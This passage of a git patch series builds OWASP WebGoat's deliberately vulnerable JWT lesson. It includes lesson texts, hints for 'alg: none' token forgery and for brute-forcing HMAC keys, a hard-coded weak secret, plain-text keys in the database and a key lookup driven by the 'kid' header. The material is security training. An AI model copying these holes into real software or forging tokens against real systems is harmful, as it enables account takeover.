zJfb0{rRHa{MwAza(L!p{u7&kUJ{6my7PlIWXeQ39#{-~q&q%rQ-y2u`n-l7k+Xijy zH+q|b6mCtR$olYZR3Jg{d1QkD5_PKb+mSWKrIgPahK6lWE#R)x&c$SPX;jUA7b^{n z>Q=Sbw|To|t0lI70}&1X%wK0=0k#?zYDmab>k}7>wqwE?VQY zoY(dPP%<{42=`N!#kep)mO{2^`uZ+;4Gu=_TAXxNlg#j`Mw`Cs=&Zpg*kH7V5=$D& z?)|7%JOBalM|Zr7TGc=MX*zuf>}qu(0}x$oH4v{%LJWKaY5_Q_M&s7^8kI53)j<9= znWWdI zrKT0}ollBVPNyO^7=8hurd*?|EeCn>giMXqYH-kKSw$x9s^?`hqrR2@5afoDW>}Zh zDFDDGDwh!{>tco4gaT`3)TBV}>xKNPF~9$TVbY*hYhw-iLvwG{C&1=x7|J2FF}{u7 z=p5zRAX4|D4uvMJYb18{>>iB+SQP^-<%tkLFCiOew8C~S{@ZRc)K%v-2jC}bjX^yj zQd>FE1TB#w&F5bN$is0}cYS*sS2l48u*#IB@lZDnZ(}s_Qu)EXCT+r-g5|6Ii4qXU zwq}hbdi_z|t0sr)w)b=L=l5JU4Q>Jrd7u4CO*B)fN4#H6kxfUYA_~7A(+I!#*j@k# zTVteeoVe?_Mk)MyLS2B>_~zSeP5a{?ow@S9{Y9K5wX1JqA5!b<4QLTZBP~g{&3u+M zIzt5%wLxQ(ZfgTwsGS0S$E{=+z&NUxZ2&!A%DhecV)2X5z+?Relv8WB>WEl5u<8ha z?4@D)*zHXKQa7|UEgYU~qN`0JSo^c4k3gVluLi4I+G>-f^1rP~@yOop#mdz+{I(4Q z>c98-Jo!iA!3jt=d<~#!n~sLEiIeJ~lw#K$z{;O)Ypj~@V>6#s04lJHANViyyL)`+ zv|6}Ve|l^NEMoz_(`aFv_Oil(8n}DeWXc&uk-Q~tMFGtJ#|A2Y?rVb_D#Zo`?h%`O zAqG%6Is%Z0_)oQxwHd6w@5G`|d1iNtfWU!tU`E$`GhRJrA9nh4ABJ^`qSFVwK9f}n z*v&CB4Vun&TCO`kEo?&%?*k|is^OZUM^Oi)&CF+R@VO7vjUiB5WM8#oyDitS4?y&W zndVL4X;ITP@X!WqX$Axf_-pt^GeF=eQ6v6-67@nI9~E9DmHW)%u@WjqhEVZTDQdae zB-9*y?9!n6912d}_4j%zR>1}DWtb?`t9pEZZ31gc1Hw06QapAYOMQ)jb^~oD#?`8D zdxr$4;`2(|y!O&630vdJx1zJ_0BZc_*C)@t)hl2mr3u+u&P2fl&SONC*2k zTDp#_y+@r|5ZbnsbJIZi*;+aZ=LF?AR@TYqwtVUNwn|Mqx?0$7X=0&?%~M^OhL2a- z!gXS)S<-`KF^j6espJD#Nxh0UD@}5`Z>#}wD(Tu z-6_Pb0R|#TH)+@RK8ngNV1xZEURHQ4(A-CR&(7>eOcH)c{Hsz?L6ze}zXx$eS%Uci zcTXr@KQaAJrn&sXJg^GwJ9S-;z&et&tK7}7_)KS?KJvTCSV9uUb{COFn_>w@r z?3->W>8V-45QvdR0NJFP0Ko99*3Pia)R$Y6)90?6ocP=H)~{Pmkjl0jqkyYqh3LEc z3jE}&4aO4xT@?MUP+XY#tGeMuyJvP#^*kRgU`U?-9dPFMZ`K~_z(aio?WWJShjqjv zlkN;5V|FbEIKlF+6C@B=5O@0*1{8BOf?f4QF*MQPxo2Up^d_o&*@VWhheOoC=;A}Q z+`2qZULR&?DLr-uJ;F&?Z=Mj(=t`tJ9}nWBb4Csqea9C)4iQQTIHy2XjP(%iytDjV zRQ;C=l?0hh%+9gC?H!Tjn*paWF{P2w9d_Roc$~O=v~8eX2&Cw7gozV-Z7l@|%hy>< z_lYB$GYMuFvsZEjaZzg{Zzd~z%%{4Z5N<=jb$+`Bqqd#kT)b@7>Co*ZAG8milP2T6 zqwhs=?}68J0e-Hjg?{2r)wb=ZGe2I2aI1HKQ76L9fA7C%;JNuph&KaTn5|_7M{)=5 z{Q}H0AZ?NJVFRePBPR<@-RA(u`EP1XESGdJeDz(YX0xji1NV$t$7D6ve%|YCvF$1# zsBl?==jL2p3?6_mihB2hk5GS_2oZntzdAo$DEb4!$ed8ri8 z&tbD@#4xljI8M;!T@*CB>$0Wk9RsxhH|)@G_lzaRB`|bENDbYUVzKRdHWY|m8Y~*a zFPq6n&`vP()|EDIRwcLw(32LIjTU`dEoDOV=i(iP`z*?RKAZSGwia^bi`l?J);Cm{ zeDFKD@MJ259=I)Gn8KTm-j+~TrxpjCMjW0c7X;iriq@8CmZFgkwe}KiQt(|cYC~k0j|o#{Sdh8fQbZm zW}Yg1i&M&5&EkiHK(7a|+i{XjlNE)^A8cS&C-NcXC_Ql!ndUv zO~rQ#{dOHNZ5R*{sv}ajt}bJK@!b5qTGloU5J{(Y)YH=^K^%?xY`pmn#mi^sF_TcO z9q>DN!ikJKW*0a-)``m&nyBC^PXg*z8a{02n5C1f5j<`9j$xb-7U%Xued zG9t4Y!Q8JB)poN6%-|6bp`LG_*Sw zS5C$1iO z4Q!Nv-$`qoxUhHOFOHH#O#U_iyto*3*({s#bHvd!Tq^j-=?lQ$w+5n*P{uKDr`t- zRzkOMex' + + '
' + + '
' + + 'placehold.it/350x250' + + '
' + + '
' + + '
' + + '

TITLE

' + + '

INFORMATION

' + + '
' + + '
' + + '

NO_VOTES' + + ' votes' + + '

' + + '' + + '
' + + '' + + '' + + '' + + '' + + '
' + + '

Average AVERAGE /4

' + + '
' + + '
' + + ''; + +function getVotings() { + $("#votesList").empty(); + $.get("JWT/votings", function (result, status) { + for (var i = 0; i < result.length; i++) { + var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall); + if (i === 0) { + voteTemplate = voteTemplate.replace('ACTIVE', 'active'); + voteTemplate = voteTemplate.replace('BUTTON', 'btn-default'); + } else { + voteTemplate = voteTemplate.replace('ACTIVE', ''); + voteTemplate = voteTemplate.replace('BUTTON', 'btn-primary'); + } + voteTemplate = voteTemplate.replace(/TITLE/g, result[i].title); + voteTemplate = voteTemplate.replace('INFORMATION', result[i].information || ''); + voteTemplate = voteTemplate.replace('NO_VOTES', result[i].numberOfVotes || ''); + voteTemplate = voteTemplate.replace('AVERAGE', result[i].average || ''); + + var hidden = (result[i].numberOfVotes === undefined ? 'hidden' : ''); + voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_VOTES/g, hidden); + hidden = (result[i].average === undefined ? 'hidden' : ''); + voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_RATING/g, hidden); + + $("#votesList").append(voteTemplate); + } + }) +} + +webgoat.customjs.jwtSigningCallback = function() { + getVotings(); +} + +function vote(title) { + var user = $("#name").text(); + if (user === 'Guest') { + alert("As a guest you are not allowed to vote, please login first.") + } else { + $.ajax({ + type: 'POST', + url: 'JWT/votings/' + title + }).then( + function () { + getVotings(); + } + ) + } +} + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc deleted file mode 100644 index e192587b62..0000000000 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc +++ /dev/null @@ -1 +0,0 @@ -== Test \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc new file mode 100644 index 0000000000..0682b666a8 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc @@ -0,0 +1,19 @@ +== Authentication and getting a JWT token + +A basic sequence of getting a token is as follows: + +image::images/jwt_diagram.png[style="lesson-image"] + +{nbsp} + + +In this flow you can see the user logs in with a username and password on a successful authentication the server +returns. The server creates a new token and returns this one to the client. When the client makes a successive +call toward the server it attaches the new token in the "Authorization" header. +The server reads the token and first validates the signature after a successful verification the server uses the +information in the token to identify the user. + +=== Claims + +The token contains claims to identify the user and all other information necessary for the server to fulfil the request. +Be aware not to store sensitive information in the token and always send them over a secure channel. + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc index d6c375bb8b..ae76a58763 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc @@ -7,14 +7,13 @@ This lesson teaches about using JSON Web Tokens (JWT) for authentication and the == Goals -Teach how to securely implement the usage of tokens. +Teach how to securely implement the usage of tokens and validation of those tokens. == Introduction Many application use JSON Web Tokens (JWT) to allow the client to indicate is identity for further exchange after authentication. From https://jwt.io/introduction: - ------------------------------------------------------- JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc new file mode 100644 index 0000000000..5068626ec6 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc @@ -0,0 +1,86 @@ +== Refreshing a token + +=== Introduction + +In this section we touch upon refreshing an access token. There are many solutions some might + +=== Types of tokens + +In general there are two type of tokens: access token and a refresh token. The access token is used for making API +calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once +the access token is no longer valid a request can me made towards the server to get a new access token by presenting +the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user +having to authenticate again with their credentials. Whether you should use a refresh token and access token depends +below can find a couple of points to keep in mind while choosing which tokens to use. + +So a normal flow can look like: + +``` +curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login +``` + +The server returns: + +``` +{ + "token_type":"bearer", + "access_token":"XXXX.YYYY.ZZZZ", + "expires_in":10, + "refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7" +} +``` + +As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database) +With storing the information you can match the refresh token to the specific user to which the refresh token was +granted to. So in this case whenever the access token is still valid we can speak of a "stateless" session, there is +no burden on the server side to setup the user session, the token is self contained. +When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token +is not blocked in any way. + +Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The +attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection. + +It is also possible to make the refresh token stateless but this means it will become more difficult to see if +the user revoked the tokens. + +After the server made all the validations it must return a new refresh token and a new access token to the client. The +client can use the new access token to make the API call. + + +=== What should you check for? + +Regardless of the chosen solution you should store enough information on the server side to validate whether the user +is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh +token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange +behavior, you can revoke all the tokens an let the user authenticate again). + +It is also a good to keep track of which access token belonged to which refresh token. Otherwise an attacker might +be able to get a new access token for a different user with the refresh token of the attacker +(see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) + +Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check +whether the location is still the same if not revoke all the tokens and let the user authenticate again. + +=== Need for refresh tokens + +Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section +about storing tokens there are two option: web storage or a cookie which mean a refresh token is right beside an +access token, so if the access token is leaked changes are the refresh token will also be compromised. Most of the time +there is a difference of course, the access token is send when you make an API call, the refresh token is only send +when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same +server you can chose to only use the access token. + +As stated above using an access token and a separate refresh token gives some leverage for the server not to check +the access token over and over. Only perform the check when the user needs a new access token. + +It is certainly possible to only use an access token, at the server you store the exact same information you would +store for a refresh token, see previous paragraph. This way you need to check the token each time but this might +be suitable depending on the application. + +In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least +use a hash function to store them in your database). +Another check is to make use there is only one access token + + + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc new file mode 100644 index 0000000000..16e48409e3 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc @@ -0,0 +1,21 @@ +== JWT signing + +Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application +would be able to change the contents of the token. The signing specifications are defined https://tools.ietf.org/html/rfc7515[here] +the specific algorithms you can use are described https://tools.ietf.org/html/rfc7518[here] + +It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function +for signing the token. + +=== Checking the signature + +One important step is to *verify the signature* before performing any other action, let's try to see some things you need +to be aware of before validating the token. + +== Assignment + +Try to change the token you receive and become an admin user by changing the token. + + + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc new file mode 100644 index 0000000000..e1fb92adcc --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc @@ -0,0 +1,35 @@ +== Storing JWT tokens + +When receiving a JWT token you need to store it at the client side. There are basically two options: + +- Store the token in a cookie +- Store the token in local/session storage + +=== Cookies + +Cookies is the most simplest form, every browser supports cookies for a long time. A best practise is to mark the +cookie with the `HttpOnly` to guarantee scripts cannot read the cookie and with `Secure` to make sure the cookie +is only sent over HTTPs. + +Note: using a cookie does not mean you have maintain a state stored on the server, like the old session cookies worked +before. The JWT token is self contained and can/should contain all the information necessary to be completely stateless the +cookie is just used as the transport mechanism. + +=== Web storage + +In this case you store the token in on the client side in HTML5 Web Storage. + +=== Choices, security risks + +Web storage is accessible through JavaScript running on the same domain, so the script will have access to the +web storage. So if the site is vulnerable to a cross-site scripting attack the script is able to read the token +from the web storage. See XSS lesson for more about how this attack works. + +On the other hand using cookies have a different problem namely they are vulnerable to a cross-site request forgery +attack. In this case the attacker tries to invoke an action on the website you have a token for. See CSRF lesson for more +information about how this attack works. + +The best recommendation is to choose for the cookie based approach. In practise it is easier to defend against a CSRF +attack. On the other hand many JavaScript frameworks are protecting the user for a XSS attack by applying the right +encoding, this protection comes out of the box. A CSRF protection sometimes is not provided by default and requires work. +In the end take a look at what the framework is offering you, but most of the time a XSS attack gives the attacker more leverage. \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc new file mode 100644 index 0000000000..e44aa90794 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc @@ -0,0 +1,39 @@ +== Structure of a JWT token + +Let's take a look at the structure of a JWT token: + +image::images/jwt_token.png[style="lesson-image"] + +{nbsp} + + +The token is base64 encoded and consists of three parts `header.claims.signature`. The decoded version of this token is: + +``` +{ + "alg":"HS256", + "typ":"JWT" +} +. +{ + "exp": 1416471934, + "user_name": "user", + "scope": [ + "read", + "write" + ], + "authorities": [ + "ROLE_ADMIN", + "ROLE_USER" + ], + "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", + "client_id": "my-client-with-secret" +} +. +qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk +``` + + +Based on the algorithm the signature will be added to the token. This way you can verify that someone did not modify +the token (one change to the token will invalidate the signature). + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys new file mode 100644 index 0000000000..b8da3bf024 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys @@ -0,0 +1,13 @@ +== JWT cracking + +With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key +we can create a new token and sign it. So it is very important the key is strong enough so a brute force or +dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack. + +=== Assignment + +Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat. + +``` +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0 +``` \ No newline at end of file diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties index 2d8f6dded5..421665f817 100644 --- a/webwolf/src/main/resources/application.properties +++ b/webwolf/src/main/resources/application.properties @@ -15,8 +15,6 @@ logging.level.org.springframework=INFO logging.level.org.springframework.boot.devtools=WARN logging.level.org.owasp=DEBUG logging.level.org.owasp.webwolf=TRACE -logging.level.org.apache.activemq=WARN - endpoints.trace.sensitive=false management.trace.include=REQUEST_HEADERS,RESPONSE_HEADERS,COOKIES,ERRORS,TIME_TAKEN,PARAMETERS,QUERY_STRING From 7a0820bf89304b6761445fe2af1333f97123136b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 16 May 2018 12:39:23 +0200 Subject: [PATCH 54/76] WIP --- .../webgoat/plugin/JWTSecretKeyEndpoint.java | 2 +- .../jwt/src/main/resources/html/JWT.html | 68 +++++++++++++++++++ .../resources/i18n/WebGoatLabels.properties | 6 +- .../resources/lessonPlans/en/JWT_refresh.adoc | 16 ++--- .../en/JWT_refresh_assignment.adoc | 8 +++ .../resources/lessonPlans/en/JWT_signing.adoc | 1 - 6 files changed, 86 insertions(+), 15 deletions(-) create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java index ec99d43b59..1ce27e4166 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java @@ -15,7 +15,7 @@ * @since 4/23/17. */ @AssignmentPath("/JWT/secret") -@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3", "jwt-secret-hint4", "jwt-secret-hint5"}) +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) public class JWTSecretKeyEndpoint extends AssignmentEndpoint { private static final String JWT_SECRET = "victory"; diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index ff4c17f035..e50b9a405c 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -101,4 +101,72 @@

Vote for your favorite

+
+
+
+ +
+
+ + + + +
+
+
+
+ +
+ +
+
+ +
+

Welcome back,

+
+
+ +
+

Vote for your favorite

+
+
+ +
+
+
+
+
+ +
+
+
+
+
+ \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 214fa1c5d7..3137cc27bc 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -8,4 +8,8 @@ jwt-change-token-hint1=Select a different user and look at the token you receive jwt-change-token-hint2=Decode the token and look at the contents jwt-change-token-hint3=Change the contents of the token and replace the cookie before sending the request for getting the votes jwt-change-token-hint4=Change the admin field to true in the token -jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature \ No newline at end of file +jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature + +jwt-secret-hint1=Save the token and try to verify the token locally +jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) +jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc index 5068626ec6..8b11093dc2 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc @@ -10,7 +10,7 @@ In general there are two type of tokens: access token and a refresh token. The a calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once the access token is no longer valid a request can me made towards the server to get a new access token by presenting the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user -having to authenticate again with their credentials. Whether you should use a refresh token and access token depends +having to authenticate again with their credentials. Whether you should use a refresh token and access token depends, below can find a couple of points to keep in mind while choosing which tokens to use. So a normal flow can look like: @@ -31,18 +31,16 @@ The server returns: ``` As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database) -With storing the information you can match the refresh token to the specific user to which the refresh token was -granted to. So in this case whenever the access token is still valid we can speak of a "stateless" session, there is +With storing you can match the refresh token to the specific user the refresh token was granted to. +So in this case whenever the access token is still valid we can speak of a "stateless" session, there is no burden on the server side to setup the user session, the token is self contained. When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token is not blocked in any way. Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection. - It is also possible to make the refresh token stateless but this means it will become more difficult to see if the user revoked the tokens. - After the server made all the validations it must return a new refresh token and a new access token to the client. The client can use the new access token to make the API call. @@ -53,11 +51,9 @@ Regardless of the chosen solution you should store enough information on the ser is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange behavior, you can revoke all the tokens an let the user authenticate again). - It is also a good to keep track of which access token belonged to which refresh token. Otherwise an attacker might be able to get a new access token for a different user with the refresh token of the attacker (see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) - Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check whether the location is still the same if not revoke all the tokens and let the user authenticate again. @@ -72,14 +68,10 @@ server you can chose to only use the access token. As stated above using an access token and a separate refresh token gives some leverage for the server not to check the access token over and over. Only perform the check when the user needs a new access token. - It is certainly possible to only use an access token, at the server you store the exact same information you would store for a refresh token, see previous paragraph. This way you need to check the token each time but this might -be suitable depending on the application. - -In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least +be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least use a hash function to store them in your database). -Another check is to make use there is only one access token diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc new file mode 100644 index 0000000000..8690dd64d7 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc @@ -0,0 +1,8 @@ +== Refreshing a token + +=== Assignment + +In this assignment Tom no longer has a valid token, try to find a way to create a new access token and use that token +to vote. + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc index 16e48409e3..12bdc93a98 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc @@ -3,7 +3,6 @@ Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application would be able to change the contents of the token. The signing specifications are defined https://tools.ietf.org/html/rfc7515[here] the specific algorithms you can use are described https://tools.ietf.org/html/rfc7518[here] - It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function for signing the token. From 9d7886d572218efd299523b01b71b1a9feb9bdb4 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 21 May 2018 12:41:37 +0200 Subject: [PATCH 55/76] More JWT work --- .../org/owasp/webgoat/session/CreateDB.java | 34 +++++ .../webgoat/plugin/JWTFinalEndpoint.java | 85 ++++++++++++ .../plugin/refresh/RefreshEndpoint.java | 9 ++ .../jwt/src/main/resources/css/jwt.css | 104 +++++++++++++++ .../jwt/src/main/resources/html/JWT.html | 123 +++++++++++++----- .../resources/i18n/WebGoatLabels.properties | 10 ++ .../jwt/src/main/resources/images/jerry.png | Bin 0 -> 102068 bytes .../jwt/src/main/resources/images/logs.txt | 6 + .../jwt/src/main/resources/images/tom.png | Bin 0 -> 222326 bytes .../jwt/src/main/resources/js/jwt-final.js | 10 ++ .../resources/lessonPlans/en/JWT_final.adoc | 5 + .../en/JWT_refresh_assignment.adoc | 4 +- .../resources/lessonPlans/en/JWT_signing.adoc | 2 +- 13 files changed, 354 insertions(+), 38 deletions(-) create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java create mode 100644 webgoat-lessons/jwt/src/main/resources/images/jerry.png create mode 100644 webgoat-lessons/jwt/src/main/resources/images/logs.txt create mode 100644 webgoat-lessons/jwt/src/main/resources/images/tom.png create mode 100644 webgoat-lessons/jwt/src/main/resources/js/jwt-final.js create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java index a6743024fc..47545ef35a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java @@ -81,6 +81,39 @@ private void createServersTable(Connection connection) throws SQLException { } } + /** + * Description of the Method + * + * @param connection Description of the Parameter + * @throws SQLException Description of the Exception + */ + private void createJWTKeys(Connection connection) throws SQLException { + Statement statement = connection.createStatement(); + + // Drop servers table + try { + String dropTable = "DROP TABLE jwt_keys"; + statement.executeUpdate(dropTable); + } catch (SQLException e) { + System.out.println("Info - Could not drop jwtkeys table"); + } + + // Create the new table + try { + String createTableStatement = "CREATE TABLE jwt_keys" + + " (" + "id varchar(10)," + + "key varchar(20))"; + statement.executeUpdate(createTableStatement); + + String insertData1 = "INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234')"; + String insertData2 = "INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter')"; + statement.executeUpdate(insertData1); + statement.executeUpdate(insertData2); + } catch (SQLException e) { + System.out.println("Error creating product table " + e.getLocalizedMessage()); + } + } + /** * Description of the Method @@ -975,6 +1008,7 @@ public void makeDB(Connection connection) throws SQLException { createTanTable(connection); createMFEImagesTable(connection); createModifyWithSQLLessonTable(connection); + createJWTKeys(connection); System.out.println("Success: creating tables."); } } diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java new file mode 100644 index 0000000000..1dd765faf2 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -0,0 +1,85 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.base.Charsets; +import io.jsonwebtoken.*; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/final") +@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"}) +public class JWTFinalEndpoint extends AssignmentEndpoint { + + @Autowired + private WebSession webSession; + + @PostMapping("follow/{user}") + public @ResponseBody + String follow(@PathVariable("user") String user) { + if ("Jerry".equals(user)) { + return "Following yourself seems redundant"; + } else { + return "You are now following Tom"; + } + } + + @PostMapping("delete") + public @ResponseBody + AttackResult resetVotes(@RequestParam("token") String token) { + if (StringUtils.isEmpty(token)) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } else { + try { + final String[] errorMessage = {null}; + Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + final String kid = (String) header.get("kid"); + try { + Connection connection = DatabaseUtilities.getConnection(webSession); + ResultSet rs = 